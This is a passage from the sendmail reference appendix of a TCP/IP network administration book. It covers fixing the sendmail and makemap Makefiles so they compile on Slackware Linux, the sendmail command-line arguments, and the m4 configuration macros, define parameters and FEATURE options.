cc -I. -O -I/usr/local/include -DNEWDB    -c alias.c -o alias.o
cc -I. -O -I/usr/local/include -DNEWDB    -c version.c -o version.o
cc -o sendmail alias.o ... version.o  -L/usr/local/lib -ldb
groff -Tascii -mandoc aliases.5 > aliases.0
groff -Tascii -mandoc sendmail.8 > sendmail.0

That's more like it! sendmail compiled and linked without problems.

A quick look at the differences in the two Makefiles shows that only four lines have been changed. Of those four lines, only two, DBMDEF and LIBS, were actually needed to successfully compile sendmail. Possible values for the database definition (DBMDEF) are shown in Table 13.4

Table E.1: DBMDEF Database Arguments
Argument | Function
NDBM | The dbm format from BSD 4.3 accessed with ndbm(3).
NEWDB | The new BSD 4.4 database format accessed with db(3).
NIS | Sun NIS.
NISPLUS | Sun NIS+.
NETINFO | NeXT's NetInfo.
HESIOD | MIT's Hesiod server.
LDAPMAP | X500 LDAP lookups.

The error displayed by the first ./makesendmail run stated that ndbm.h was not found. This indicates that the NDBM argument on the DBMDEF line is the likely culprit. Further, the comments in the Makefile.Linux file recommend using DNEWDB and the ldb library. This suggests that a possible solution is to change DBMDEF to DBMDEF= -DNEWDB and LIBS to LIBS= -ldb. This is exactly what Paul DuBois did when he created the Makefile.Linux.ppc file, and it is what allows sendmail to compile on a Slackware 96 system.

He also changed two other lines, neither of which is critical to the compile, but both of which are indicative of the type of things customized in a Makefile. Paul changed the STDIR variable that defines where the sendmail.st file is stored to STDIR= ${DESTDIR}/var/log. The location of files is the most commonly modified information in a makefile. He also changed BINGRP to BINGRP= mail to use the mail group defined by the Slackware 96 system as the group ID for the sendmail binary files.

Once sendmail compiles, it is installed with the following command:

# ./makesendmail install

One other thing that should be checked before declaring the installation complete is the makemap command. This is the command that builds the databases read by sendmail. Given the fact that sendmail encountered trouble while compiling certain types of database support, we are suspicious that compiling makemap will have similar problems.

First change to the sendmail-8.8.5/makemap directory and look at the two makefiles located there. One of them, Makefile.dist, is the type of makefile supported by Slackware Linux. Copy Makefile.dist to Makefile and attempt a compile of makemap:

# cd ../makemap
# mv Makefile Makefile.orig
# cp Makefile.dist Makefile
# make
cc -I. -O -I../src -I/usr/sww/include -DNDBM -DNEWDB    -c makemap.c
   -o makemap.o
makemap.c:53: ndbm.h: No such file or directory
make: *** [makemap.o] Error 1

Just as we suspected! makemap has the same compile problem as sendmail. Luckily, Paul DuBois's solution to the sendmail problem shows us the changes needed for the DBMDEF and LIBS variables. Additionally, we check all of the directory paths in the Makefile to ensure they are valid for a Slackware 96 system:

# grep -v '^#' Makefile | grep '/'
SRCDIR= ../src
INCDIRS=-I${SRCDIR} -I/usr/sww/include
LIBDIRS=-L/usr/sww/lib
BINDIR= ${DESTDIR}/usr/sbin
LINKS=  ${DESTDIR}/usr/ucb/newaliases ${DESTDIR}/usr/ucb/mailq
${OBJS}: ${SRCDIR}/conf.h
# ls /usr/sww
ls: /usr/sww: No such file or directory
# ls /usr/ucb
ls: /usr/ucb: No such file or directory
# whereis makemap
makemap: /usr/sbin/makemap
# whereis newaliases
newaliases: /usr/bin/newaliases
# whereis mailq
mailq: /usr/bin/mailq

These tests show that, in addition to Paul DuBois's corrections, we need to remove references to the non-existent /usr/sww and /usr/ucb directories and insert references to /usr/bin where mailq and newaliases really reside. After we make these changes, a diff shows the new Makefile code and a rerun of make shows that we have fixed the problem:

# diff Makefile.dist Makefile
22c22
< DBMDEF=       -DNDBM -DNEWDB
---
> DBMDEF=       -DNEWDB
30c30
< INCDIRS=-I${SRCDIR} -I/usr/sww/include
---
> INCDIRS=-I${SRCDIR}
36c36
< LIBDIRS=-L/usr/sww/lib
---
> LIBDIRS=
39c39
< LIBS= -ldb -ldbm
---
> LIBS= -ldb
53c53
< LINKS=        ${DESTDIR}/usr/ucb/newaliases ${DESTDIR}/usr/ucb/mailq
---
> LINKS=        ${DESTDIR}/usr/bin/newaliases ${DESTDIR}/usr/bin/mailq
# make
cc -I. -O -I../src -DNEWDB    -c makemap.c -o makemap.o
cc -o makemap  makemap.o   -ldb

Run make install to install the new version of makemap. We're finished. Compiling sendmail wasn't as easy as the documentation implies, but wasn't impossible.

sendmail is now ready to run. The next section describes the syntax of the sendmail command.

Previous: D.3 The dhcpd.conf Configuration File | TCP/IP Network Administration | Next: E.2 The sendmail Command
D.3 The dhcpd.conf Configuration File | Book Index | E.2 The sendmail Command


[Appendix E] E.2 The sendmail Command

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: E.1 Compiling sendmail Appendix E
A sendmail Reference 		Next: E.3 m4 sendmail Macros

E.2 The sendmail Command

The syntax of the sendmail command is deceptively simple:

sendmail [arguments] [address ...]

The syntax is deceptive because it hides the fact that there are a very large number of command-line arguments. Table 13.5 lists all of them.

Table E.2: sendmail Command-Line Arguments
Argument | Function
-U | Indicate initial user submission.
-V envid | Set the envelope ID to envid.
-N dsn | Set delivery status notification to dsn.
-M xvalue | Set macro x to value.
-R return | Set the part of the message returned with an error.
-B type | Set the MIME body type.
-p protocol | Set the receiving protocol and hostname.
-X logfile | Log all traffic in the indicated log file.
-f addr | Sender's machine address is addr.
-r addr | Obsolete form of -f.
-h cnt | Drop mail if forwarded cnt times.
-F name | Set the full name of this user to name.
-n | Don't do aliasing or forwarding.
-t | Send to everyone listed in To:, Cc:, and Bcc:.
-bm | Deliver mail (default).
-ba | Run in arpanet mode.
-bs | Speak SMTP on input side.
-bd | Run as a daemon.
-bt | Run in test mode.
-bv | Verify addresses; don't collect or deliver mail.
-bi | Initialize the alias database.
-bp | Print the mail queue.
-q[time] | Process queued mail. Repeat at interval time.
-C file | Use file as the configuration file.
-d level | Set debugging level.
-o xvalue | Set option x to the specified value.
-i | Ignore dots in incoming messages.
-m | Send to me, too.
-v | Run in verbose mode.
-s addr | Alternate form of -f.

Several of the command-line arguments are covered in Chapter 10. These are:

-f

Allows trusted users to override the sender address on outgoing messages. For security reasons, it is disabled on some systems. Obsolete alternative forms of this argument are -r and -s.

-t

Reads the To:, Cc: and Bcc: headers from standard input. Used to send a file that contains these headers or when typing in a test message, as in Chapter 10.

-bd

Runs sendmail in background mode, causing it to collect incoming mail. Use this argument on the sendmail command in the boot script.

-bt

Used to test sendmail address rewrite rules.

-bi

Initializes the aliases database. This is the same as the newaliases command covered in Chapter 10.

-q

Sets the time interval at which the mail queue is processed. Use on the sendmail command in the boot script.

-C

Loads an alternative sendmail configuration file. Use this to test the configuration before moving the new file to sendmail.cf.

-v

Permits you to view the exchange of SMTP commands in real time.

-bv

Verifies address processing without actually sending mail.

Other than the two arguments (-bd and -q) used on the sendmail command line in the boot script to process incoming mail, the most common use for sendmail arguments is debugging. From the list above, -bt, -C, -bv, -v, and -t are all used in Chapter 10 in debugging examples. Other debugging arguments are:

-bp

Prints a list of mail that is queued for delivery. It is the same as the mailq command. Mail is queued when it cannot be delivered immediately because the remote host is temporarily unable to accept the mail. sendmail periodically processes the queue, based on the time interval you set with the -q argument, and attempts to deliver the mail in the queue. The queue can grow large enough to impede sendmail's performance if an important remote host is down. mailq shows how many items are queued as well as the source and destination of each piece of mail.

When the queue requires immediate processing, invoke sendmail using -q with no time interval. This processes the entire queue. Some variations of the -q argument allow you to selectively process the queue. Use -qI queue-id to process only those queue entries with the specified queue identifier; -qR recipient to process only items being sent to the specified recipient; or -qS sender to process only mail sent from the specified sender. The mailq command displays the queue identifier, sender address, and recipient address for every item in the queue.

-o

Sets a sendmail option for this one instantiation of sendmail, e.g., -oA/tmp/test-aliases. Use this argument to test alternative option settings without editing the sendmail.cf file. -o uses the old sendmail option syntax. An alternate form of the argument is -O, which uses the new option syntax, e.g., -OAilasFile=/tmp/test-aliases. See sendmail Options later in this Appendix.

-d

Sets the level of detail displayed when debugging sendmail code. Can be used to debug rewrite rules, e.g., sendmail -bt -d21.12. Otherwise -d is only useful for sendmail source code debugging.

-h

Sets the counter used to determine if mail is looping. By default, it is set to 30, which is a good operational value. When you are debugging a mail loop problem, set the hop count lower, e.g., -h10, to reduce the number of times a piece of mail is handled by the system. Otherwise, leave this value alone.

The remaining arguments are rarely used on the command line:

-B

Indicates the MIME message body type. Acceptable values are either 7BIT or 8BITMIME.

-N

Requests that the sender be notified of the delivery status of the mail. The default value is FAILURE, DELAY, which notifies the sender when mail delivery fails or is delayed in the queue. Other acceptable values are NEVER, to request that no status notifications be returned to the sender, and SUCCESS, to request notification of successful mail delivery.

-M

Sets a macro value for this instantiation of sendmail. For example, -MMnuts.com sets macro M to nuts.com.

-p

Sets the sending protocol and the sending host. This is equivalent to setting the internal s and r macros. If a system has more than one external mail protocol, for example, UUCP and SMTP, this forces the system to use a specific protocol for this piece of mail.

-R

Sets the amount of information returned to the sender when a message cannot be delivered. This can be either HDRS for headers-only or FULL for the headers and the full message body.

-U

Indicates that this mail comes directly from a user interface and was not forwarded from a remote mail handler. At this writing this argument is not yet used, but in the future user agent programs may include it when they pass mail to sendmail.

-V

Inserts an "envelop id" into the outbound message that is returned if message delivery fails.

-X

Logs all mail messages to the specified log file. This rapidly produces an enormous log file.

-n

Disables the processing of aliases and mail forwarding.

-bm

Tells sendmail to deliver mail, which it will do anyway.

-ba

Reads the header From: line to find the sender. Uses three digit reply codes, and ends error lines with <CRLF>. This is an obsolete argument.

-bs

Tells sendmail to use SMTP for incoming mail. When appropriate, sendmail will do this even without the -bs argument.

-i

Normally, an SMTP message terminates when a line containing only a dot is encountered. This argument tells sendmail to ignore the dots in incoming messages.

-m

Sends a copy of the mail to the person sending the mail. Normally this is done with a CC: or BCC: header in the message, not with the -m argument.

This is a complete list of sendmail command-line arguments at this writing. Some of these arguments were introduced in sendmail 8. Others are considered obsolete in sendmail V8. Check the manpage for your system to find out exactly what arguments are available on your system.

When the sendmail command is executed, it reads its configuration from the sendmail.cf file. A basic sendmail.cf file can be built from m4 macros that come with the sendmail source code. Chapter 10 provides examples of how this is done. The next section provides a complete list of the m4 macros that come with the sendmail distribution.

Previous: E.1 Compiling sendmail | TCP/IP Network Administration | Next: E.3 m4 sendmail Macros
E.1 Compiling sendmail | Book Index | E.3 m4 sendmail Macros


[Appendix E] E.3 m4 sendmail Macros

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: E.2 The sendmail Command Appendix E
A sendmail Reference 		Next: E.4 More sendmail.cf

E.3 m4 sendmail Macros

The sendmail distribution comes with several sample configuration files. Chapter 10 provides an example of how the tcpproto.mc file is modified to produce a configuration file suitable for a Linux system. The prototype files are m4 macro configuration files that produce useable sendmail.cf files as output. The prototype files are located in the sendmail/cf/cf directory of the sendmail distribution. All of the m4 macro configuration files end with the .mc file name extension. The .mc files can be composed of the following m4 macros: [1]

[1] The macro commands are listed in the order they would occur in the configuration file.

VERSIONID

Defines the version number of the .mc source file. RCS or SCCS version numbers are commonly used. This command is optional.

OSTYPE

Points to the m4 source file that contains the operating system-specific information for this configuration. This is required.

DOMAIN

Points to the m4 source file that contains configuration information specific to this domain. This is optional.

FEATURE

Points to an m4 source file that defines an optional sendmail feature. This is not required for m4 to process the .mc source file, but many configurations have multiple FEATURE entries.

HACKS

Points to an m4 source file that contains site-specific configuration information. This is a temporary configuration used to fix a temporary problem. The use of HACKS is discouraged.

SITECONFIG

Points to a source file that contains m4 SITE commands that define the UUCP sites connected to this host. The format of the command is: SITECONFIG(file, local-hostname, class), which reads the UUCP hostnames from file into class.

define

Defines a local value. Most "defines" are done in the m4 source files that are called by the .mc file, not in the .mc file itself. It can define a value for a sendmail.cf macro, option, or other command.

MAILER

Points to an m4 source file that contains the configuration commands that define a sendmail mailer. A least one MAILER command must appear in the configuration file. Generally more than one MAILER command is used.

LOCAL_RULE_n

Heads a section of code to be added to ruleset n, where n is 0, 1, 2, or 3. The code that follows the LOCAL_RULE_n command is composed of standard sendmail.cf rewrite rules. [2] The LOCAL_RULE_n command is rarely used.

[2] The one exception to this is the UUCPSMTP macro that can be used in the local rule. See the New sendmail Configuration Files document that come with the sendmail V8 distribution if you have questions about UUCP configuration.

LOCAL_CONFIG

Heads a section of code to be added to the sendmail.cf file after the local information section and before the rewrite rules. The section of code contains standard sendmail.cf configuration commands. This macro is rarely used.

Most of the macros in the .mc file point to other m4 source files. The macro names OSTYPE, DOMAIN, FEATURE, MAILER, HACKS, and SITECONFIG are all names of subdirectories within the sendmail/cf directory. The value passed to each of these macros is the name of a file within the specified directory. For example, the command FEATURE(nouucp) tells m4 to load the file nouucp.m4 from the feature directory and process the m4 source code found there. The real meat of the sendmail configuration is contained in the source files pointed to by the OSTYPE, DOMAIN, FEATURE, and MAILER commands.

The macro commands HACK, SITECONFIG, LOCAL_RULE_n, and LOCAL_CONFIG are rarely used in a macro configuration file. To simplify this appendix, we do not mention them again. [3] Likewise, for the sake of simplicity we avoid discussing UUCP configuration and concentrate on SMTP. Still, m4 configuration can appear to be enormously complex. Please remember that this appendix is a reference, and as such lists as many of the m4 macros as possible. Most of these you will never need to use. Refer to Chapter 10 for a realistic example of how m4 is used to build a sendmail.cf file.

[3] To see examples of some of these commands, look at the ucbvax.mc sample file that comes with the sendmail V8 distribution.

In the following section we provide additional information about the OSTYPE, DOMAIN, FEATURE, and MAILER macros and details of the various commands used to build the m4 source files they call. Chapter 10 provides an example of building a custom DOMAIN macro source file. The source files can contain any of the macros we have already mentioned as well as the additional ones documented below. The macro configuration (.mc) file also can contain any of the commands documented below. In fact, pretty much any macro can appear in any file.

To bring some order out of this chaos, we have organized the commands according to the files they are most likely to appear in, which is similar to the organization found in the documentation that comes with sendmail distribution. Just remember, actual implementation files may have a different organization. We start by examining the define macros and the FEATURE macros that are the primary building blocks of all the other files.

E.3.1 define

The syntax of the define macro is:

define('parameter', 'value')

Where parameter is the keyword name of a sendmail configuration parameter and value is the value assigned to that configuration parameter. The parameter and the value are normally enclosed in single quotes to prevent inappropriate macro expansion.

Many of the configuration parameters that can be set using the define command are shown below. Most of the parameters correspond to sendmail options, macros, or classes. The name of the option, macro, or class set by the parameter is listed in the parameter description enclosed in square brackets ([]). Macro names begin with a dollar sign ($j), class names begin with a dollar sign and an equal sign ($=w), and options are shown with long option names (SingleThreadDelivery). To find out more about these parameters, see the descriptions of the macros, options, and classes they represent that are provided later in this appendix.

Because many define parameters are equivalent to options, macros, and classes, the command:

define('confDOMAIN_NAME', 'peanut.nuts.com')

placed in an m4 source file has the same effect as:

Djpeanut.nuts.com

placed directly in the sendmail.cf file. If you compile and install a new version of sendmail, build your configuration with m4 and set values for macros, classes, and options with the m4 define macro.

The list of define parameters is quite long. However, because most of the parameters default to a reasonable value they do not have to be explicitly set in the m4 source file. The default value of each parameter is shown in the listing - unless there is no default.

confMAILER_NAME

Default is MAILER-DAEMON. The sender name used on error messages. [$n]

confDOMAIN_NAME

The full hostname. [$j]

confCF_VERSION

The configuration file's version number. [$Z]

confFROM_HEADER

Default is $?x$x <$g>$|$g$. . The From: header format.

confRECEIVED_HEADER

Default is $?sfrom $s $.$?_($?s$|from $.$_) $.by $j ($v/$Z)$?r with $r$. id $i$?u for $u$.; $b . The Received: header format.

confCW_FILE

Default is /etc/sendmail.cw. The file of local host aliases. [$=w]

confCT_FILE

Default is /etc/sendmail.ct. The file of trusted usernames. [$=t]

confTRUSTED_USERS

Trusted users name to add to root, uucp, and daemon.

confSMTP_MAILER

Default is esmtp. The mailer used for SMTP connections; must be smtp, smtp8, or esmtp.

confUUCP_MAILER

Default is uucp-old. The default UUCP mailer.

confLOCAL_MAILER

Default is local. The mailer used for local connections.

confRELAY_MAILER

Default is relay. The default mailer name for relaying.

confSEVEN_BIT_INPUT

Default is False. Force input to seven bits. [SevenBitInput]

confEIGHT_BIT_HANDLING

Default is pass8. Defines how 8-bit data is handled. [EightBitMode]

confALIAS_WAIT

Default is 10m. The amount of time to wait for alias file rebuild. [AliasWait]

confMIN_FREE_BLOCKS

Default is 100. The minimum number of free blocks on the queue filesystem that must be available to accept SMTP mail. [MinFreeBlocks]

confMAX_MESSAGE_SIZE

Default is infinite. The maximum message size. [MaxMessageSize]

confBLANK_SUB

The character used to replace unquoted blank characters in email addresses. [BlankSub]

confCON_EXPENSIVE

Default is False. Tells system to hold mail bound for mailers that have the e flag set until the next queue run. [HoldExpensive]

confCHECKPOINT_INTERVAL

Default is 10. Tells system to checkpoint the queue files after this number of queued items are processed. [CheckpointInterval]

confDELIVERY_MODE

Default is background. Sets the default delivery mode. [DeliveryMode]

confAUTO_REBUILD

Default is False. Automatically rebuilds alias file. [AutoRebuildAliases]

confERROR_MODE

Default is print. Defines how errors are handled. [ErrorMode]

confERROR_MESSAGE

Points to a file containing a message that is prepended to error messages. [ErrorHeader]

confSAVE_FROM_LINES

Tells system not to discard UNIX From: lines. They are discarded if this is not set. [SaveFromLine]

confTEMP_FILE_MODE

Default is 0600. File mode for temporary files. [TempFileMode]

confMATCH_GECOS

Tells system to match the email username to the GECOS field. This match is not done if this is not set. [MatchGECOS]

confMAX_HOP

Default is 25. The counter used to determine mail loops. [MaxHopCount]

confIGNORE_DOTS

Default is False. Tells system to ignore dots in incoming messages. [IgnoreDots]

confBIND_OPTS

Default is undefined. Sets options for DNS resolver. [ResolverOptions]

confMIME_FORMAT_ERRORS*

Default is True. Tells system to send MIME-encapsulated error messages. [SendMimeErrors]

confFORWARD_PATH

Default is $z/.forward.$w:$z/.forward. Places to search for .forward files. [ForwardPath]

confMCI_CACHE_SIZE

Default is 2. The number of open connections that can be cached. [ConnectionCacheSize]

confMCI_CACHE_TIMEOUT

Default is 5m. The amount of time inactive open connections are held in the cache. [ConnectionCacheTimeout]

confHOST_STATUS_DIRECTORY

Directory in which host status is saved. [HostStatusDirectory]

confUSE_ERRORS_TO*

Default is False. Delivers errors using the Errors-To: header. [UserErrorsTo]

confLOG_LEVEL

Default is 9. Level of detail for the logfile. [LogLevel]

confME_TOO

Default is False. Sends a copy to the sender. [MeToo]

confCHECK_ALIASES

Default is False. Looks up every alias during alias file build. [CheckAliases]

confOLD_STYLE_HEADERS*

Default is True. Treats headers without special chars as old style. [OldStyleHeaders]

confDAEMON_OPTIONS

SMTP daemon options. [DaemonPortOptions]

confPRIVACY_FLAGS

Default is authwarnings. These flags restrict the use of some mail commands. [PrivacyOptions]

confCOPY_ERRORS_TO

Address to receive copies of error messages. [PostmasterCopy]

confQUEUE_FACTOR

Default is 600000. Used to calculate when a loaded system should queue mail instead of attempting delivery. [QueueFactor]

confDONT_PRUNE_ROUTES

Default is False. Don't prune route-addresses to the minimum possible. [DontPruneRoutes]

confSAFE_QUEUE

Create a queue file, then attempt delivery. This is not done unless this paramter is specified. [SuperSafe]

confTO_INITIAL

Default is 5m. Maximum time to wait for the initial connect response. [Timeout.initial]

confTO_CONNECT

Default is 0. Maximum time to wait for a connect to complete. [Timeout.connect]

confTO_ICONNECT

Maximum time to wait for the very first connect attempt to a host. [Timeout.iconnect]

confTO_HELO

Default is 5m. Maximum time to wait for a HELO or EHLO response. [Timeout.helo]

confTO_MAIL

Default is 10m. Maximum time to wait for a MAIL command response. [Timeout.mail]

confTO_RCPT

Default is 1h. Maximum time to wait for a RCPT command response. [Timeout.rcpt]

confTO_DATAINIT

Default is 5m. Maximum time to wait for a DATA command response. [Timeout.datainit]

confTO_DATABLOCK

Default is 1h. Maximum time to wait for a block during DATA phase. [Timeout.datablock]

confTO_DATAFINAL

Default is 1h. Maximum time to wait for a response to the terminating ".". [Timeout.datafinal]

confTO_RSET

Default is 5m. Maximum time to wait for a RSET command response. [Timeout.rset]

confTO_QUIT

Default is 2m. Maximum time to wait for a QUIT command response. [Timeout.quit]

confTO_MISC

Default is 2m. Maximum time to wait for other SMTP command responses. [Timeout.misc]

confTO_COMMAND

Default is 1h. Maximum time to wait for a command to be issued. [Timeout.command]

confTO_IDENT

Default is 30s. Maximum time to wait for an IDENT query response. [Timeout.ident]

confTO_FILEOPEN

Default is 60s. Maximum time to wait for a file open. [Timeout.fileopen]

confTO_QUEUERETURN

Default is 5d. Time until a message is returned from the queue as undeliverable. [Timeout.queuereturn]

confTO_QUEUERETURN_NORMAL

"Undeliverable" timeout for normal priority messages. [Timeout.queuereturn.normal]

confTO_QUEUERETURN_URGENT

"Undeliverable" timeout for urgent priority messages. [Timeout.queuereturn.urgent]

confTO_QUEUERETURN_NONURGENT

"Undeliverable" timeout for low priority messages. [Timeout.queuereturn.non-urgent]

confTO_QUEUEWARN

Default is 4h. Time until a "still queued" warning is sent about a message. [Timeout.queuewarn]

confTO_QUEUEWARN_NORMAL

Time until a "still queued" warning is sent for normal priority messages. [Timeout.queuewarn.normal]

confTO_QUEUEWARN_URGENT

Time until a "still queued" warning is sent for urgent priority messages. [Timeout.queuewarn.urgent]

confTO_QUEUEWARN_NONURGENT

Time until a "still queued" warning is sent for low priority messages. [Timeout.queuewarn.non-urgent]

confTO_HOSTSTATUS

Default is 30m. Timer for stale host status information. [Timeout.hoststatus]

confTIME_ZONE

Default is USE_SYSTEM. Sets time zone from the system (USE_SYSTEM) or the TZ variable (USE_TZ). [TimeZoneSpec]

confDEF_USER_ID

Default is 1:1. Default user ID and group ID. [DefaultUser]

confUSERDB_SPEC

Path of the user database file. [UserDatabaseSpec]

confFALLBACK_MX

Backup MX host. [FallbackMXhost]

confTRY_NULL_MX_LIST

Default is False. Instructs system to connect to the remote host directly if the MX point to the local host. [TryNullMXList]

confQUEUE_LA

Default is 8. Sends mail directly to the queue when this load average is reached. [QueueLA]

confREFUSE_LA

Default is 12. Refuses incoming SMTP connections at this load average. [RefuseLA]

confMAX_DAEMON_CHILDREN

If set, refuses connection when this number of children is reached. [MaxDaemonChildren]

confCONNECTION_RATE_THROTTLE

Maximum number of connections permitted per second, if set. [ConnectionRateThrottle]

confWORK_RECIPIENT_FACTOR

Default is 30000. Factor used to lower the priority of a job for each additional recipient. [RecipientFactor]

confSEPARATE_PROC

Default is False. Delivers messages with separate processes. [ForkEachJob]

confWORK_CLASS_FACTOR

Default is 1800. The factor used to favor a high-priority job. [ClassFactor]

confWORK_TIME_FACTOR

Default is 90000. Factor used to lower the priority of a job for each delivery attempt. [RetryFactor]

confQUEUE_SORT_ORDER

Default is Priority. Sorts queue by Priority or Host order. [QueueSortOrder]

confMIN_QUEUE_AGE

Default is 0. Minimum time a job must be queued. [MinQueueAge]

confDEF_CHAR_SET

Default is unknown-8bit. Default character set for unlabeled 8-bit MIME data. [DefaultCharSet]

confSERVICE_SWITCH_FILE

Default is /etc/service.switch. The path to the service switch file. [ServiceSwitchFile]

confHOSTS_FILE

Default is /etc/hosts. The path to the hostnames file. [HostsFile]

confDIAL_DELAY

Default is 0s. Amount of time to delay before retrying a "dial on demand" connection. 0s means "don't retry". [DialDelay]

confNO_RCPT_ACTION

Default is none. Handling for mail with no recipient headers: do nothing (none); add To: header (add-to); add Apparently-To: header (add-apparently-to); add a Bcc: header (add-bcc); add "To: undisclosed-recipients" header (add-to-undisclosed). [NoRecipientAction]

confSAFE_FILE_ENV

Default is undefined. chroot() to this directory before writing files. [SafeFileEnvironment]

confCOLON_OK_IN_ADDR

Default is True. Treats colons as regular characters in addresses. [ColonOkInAddr]

confMAX_QUEUE_RUN_SIZE

Default is 0. Limits the number of entries processed in a queue run. 0 means no limit. [MaxQueueRunSize]

confDONT_EXPAND_CNAMES

Default is False. If true, don't convert nicknames to canonical names. False means "do convert." [DontExpandCnames]

confFROM_LINE

Default is From $g $d. The format of the UNIX From: line. [UnixFromLine]

confOPERATORS

Default is .:%@!^/[]+. Address operator characters. [OperatorChars]

confSMTP_LOGIN_MSG

Default is $j sendmail $v/$Z; $b. The SMTP greeting message. [SmtpGreetingMessage]

confDONT_INIT_GROUPS

Default is False. If true, disable the initgroups(3) routine. False means "use the initgroups(3) routine. [DontInitGroups]

confUNSAFE_GROUP_WRITES

Default is False. If true, don't reference programs or file from group-writable :include: and .forward files. [UnsafeGroupWrites]

confDOUBLE_BOUNCE_ADDRESS

Default is postmaster. When errors occur sending an error message, send the second error message to this address. [DoubleBounceAddress]

confRUN_AS_USER

Default is undefined. Run as this user to read and deliver mail. [RunAsUser]

confSINGLE_THREAD_DELIVERY

Default is False. Force single threaded mail deliver when set with HostStatusDirectory. [SingleThreadDelivery]

define macros are the most common macros in the m4 source files. The next most commonly used macro is the FEATURE macro.

E.3.2 FEATURE

The FEATURE macro processes m4 source code from the cf/feature directory. Source files in that directory define optional sendmail features that you may wish to include in your configuration. The syntax of the FEATURE macro is:

FEATURE(name, [argument])

The FEATURE source file can be called with or without an optional argument. If an argument is passed to the source file the argument is used by the source file to generate code for the sendmail.cf file. For example:

FEATURE(mailertable, dbm /usr/lib/mailertable)

generates the code for accessing the mailertable and defines that table as being a dbm database located in the file /usr/lib/mailertable.

There are several features available in sendmail V8. They are all listed in Table 13.6 The table provides the name of each feature and its purpose.

Table E.3: sendmail V8 Features
Name | Purpose
use_cw_file | Load $=w from /etc/sendmail.cw.
use_ct_file | Load $=t from /etc/sendmail.ct.
redirect | Support the .REDIRECT pseudo-domain.
nouucp | Don't include UUCP address processing.
nocanonify | Don't convert names with $[ ... $] syntax.
stickyhost | Treat "user" different than "user@local.host".[4]
mailertable | Mail routing using a mailer table.
domaintable | Domain name mapping using a domain table.
bitdomain | Use a table to map bitnet hosts to Internet addresses.
uucpdomain | Use a table to map UUCP hosts to Internet addresses.
always_add_domain | Add the local hostname to all locally delivered mail.
allmasquerade | Also masquerade recipient addresses.
limited_masquerade | Only masquerade hosts listed in $=M.
masquerade_entire_domain | Masquerade all hosts within the masquerading domains.
genericstable | Use a table to rewrite local addresses.
virtusertable | Maps virtual domain names to real mail addresses.
nodns | Don't include DNS support.
nullclient | Forwarding all mail to a central server.
local_procmail | Use procmail as the local mailer.
bestmx_is_local | Accept mail as local when it is addressed to a host that lists us as its MX server.
smrsh | Use smrsh as the prog mailer.

[4] See the discussion of "stickyhost" in the "DOMAIN" section later in this appendix.

The use_cw_file and the use_ct_file features are equivalent to Fw/etc/sendmail.cw and Fw/etc/sendmail.ct commands in the sendmail.cf file. See Chapter 10 for descriptions of host aliases ($=w) and trusted users ($=t).

The .REDIRECT pseudo-domain code returns an error message to the sender telling them to try a new address for the recipient. This is used to handle mail for people who no longer read mail at your site but who are still getting mail sent to a very old address. Enable this feature with the FEATURE(redirect) command and then add aliases for each obsolete mailing address in the form:

old-address        new-address.REDIRECT

For example: assume that Edward Winslow is no longer a valid user of almond.nuts.com. His old username, ed, should no longer accept mail. His new mailing address is WinslowE@industry.com. We enter the following alias in the /etc/aliases file:

ed                 WinslowE@industry.com.REDIRECT

Now when mail is to the ed account on almond, the following error is returned to the sender:

551 User not local; please try <WinslowE@industry.com>

Several of the FEATURE macros actually remove features from the sendmail.cf file instead of adding them. nouucp removes the code to handle UUCP addresses for systems that do not have access to UUCP networks, and nodns removes the code for DNS lookups for systems that do not have access to DNS. nocanonify, which is rarely used, disables the $[name]$ syntax that converts nicknames and IP addresses; see Table 10-7. Finally, the nullclient feature strips everything out of the configuration except for the ability to forward mail to a single mail server via a local SMTP link. The name of the mail server is provided as the argument on the nullclient command line. For example, FEATURE(nullclient, ms.big.com) forwards all mail to ms.big.com without any local mail processing.

Several features relate to mail relaying and masquerading. They are: stickyhost, allmasquerade, limited_masquerade and masquerade_entire_domain. All of these features are covered in the "DOMAIN" section later in this appendix.

Several of the features define databases that are used to perform special address processing. All of these features accept an optional argument that defines the database. (See the sample mailertable command at the beginning of this section for an example of defining the database with the optional argument.) If the optional argument is not provided the database description always defaults to hash -o /etc/filename, where filename matches the name of the feature. For example: mailertable defaults to the definition hash -o /etc/mailertable. The database features are:

mailertable

Maps host and domain names to specific mailer:host pairs. [5] If the host or domain name in the recipient addresses matches a key field in the mailertable database, it returns the mailer and host for that address. The format of mailertable entries is:

[5] See Chapter 10 for a description of the mailer, host, and user triple returned by ruleset 0.

domain-name mailer:host

where domain-name is either a full hostname (host plus domain) or a domain name. If a domain name is used it must start with a dot (.), and it will match every host in the specified domain.

domaintable

Converts an old domain name to a new domain name. The old name is the key and the new name is the value returned for the key.

bitdomain

Converts a Bitnet hostname to an Internet hostname. The Bitnet name is the key and the Internet hostname is the value returned. The bitdomain program that comes with sendmail V8 can be used to build this database.

uucpdomain

Converts a UUCP name to an Internet hostname. The key is the UUCP host name and the value returned is the Internet hostname.

generictable

Converts a sender email address. The key to the database is either a username or a full email address (username and hostname). The value returned by the database is always a full email address. If the value specified in the database is not a full address, genericstable appends the value from $j to the value to force it to be a full address. genericstable converts the same address as those processed for masquerading and the features that affect masquerading affect the genericstable conversion in exactly the same way. See Chapter 10 for an example of using the genericstable and see the "DOMAIN" section later in this appendix for information on masquerading. Note that if you use the genericstable and you don't use masquerading, you can still get the functionality of the MASQUERADE_DOMAIN and the MASQUERADE_DOMAIN_FILE by using GENERICS_DOMAIN and GENERICS_DOMAIN_FILE. These commands have the same function and are used in the same way as their masquerade counterparts, which are described in the following section.

virtusertable

Aliases incoming email addresses. Essentially, this is an extended alias database for aliasing addresses that are not local to this host. The key to the database is a full email address or a domain name. The value returned by the database is the recipient address to which the mail is delivered. If a domain name is used as a key, it must begin with an at-sign (@). Mail addressed to any user in the specified domain is sent to the recipient defined by the virtusertable database. Any host name used as a key in the virtusertable database must also be defined in class w.

Two of the remaining FEATURE commands relate to domains. The always_add_domain macro makes sendmail add the local hostname to all locally delivered mail, even to those pieces of mail that would normally have just a username as an address. The bestmx_is_local feature accepts mail addressed to a host that lists the local host as its preferred MX server as if the mail was local mail. If this feature is not used, mail bound for a remote host is sent directly to the remote host even if its MX record lists the local host as its preferred MX server. The bestmx_is_local feature should not be used if you use a wildcard MX record for your domain.

